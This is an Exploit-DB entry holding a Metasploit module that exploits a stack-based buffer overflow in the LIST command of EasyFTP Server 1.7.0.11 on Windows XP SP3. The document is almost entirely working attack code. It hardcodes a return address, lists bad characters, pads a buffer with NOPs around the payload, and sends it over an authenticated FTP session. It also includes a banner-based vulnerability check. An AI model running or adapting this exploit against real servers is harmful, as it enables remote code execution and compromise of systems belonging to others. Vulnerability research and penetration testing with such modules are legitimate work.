Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit

                                                ##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR  & VAS TEAM : just testing howto convert exploits to metasploit modules.
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
                    credit goes to Karn Ganeshan.  
            },
            'Author'         =>
                [
                    'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
                    'MFR' # convert to metasploit format.
                ],
            'License'        => MSF_LICENSE,
            'Version'        => 'Version: 1',
            'References'     =>
                [
                    [ 'EDB', '14400' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread'
                },
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 268,
                    'BadChars' => "\x00\x0a\x0d\x2f\x5c",
                    'DisableNops' => false
                },
            'Platform'   => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3 - Version 2002',   { 'Ret' => 0x7e49732b } ],
                ],
            'DisclosureDate' => 'July 5 2010',
            'DefaultTarget' => 0))
    end
 
    def check
        connect
        disconnect
 
        if (banner =~ /BigFoolCat/)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end
 
    def exploit
        connect_login
 
        buf = ''
        buf << make_nops(268 - payload.encoded.length - 4)
        print_status("Adding the payload...")
        buf << payload.encoded
        buf << [target.ret].pack('V')
 
        print_status("Sending exploit buffer...")
        send_cmd( ['LIST', buf] , false)
 
        handler
        disconnect
    end
 
end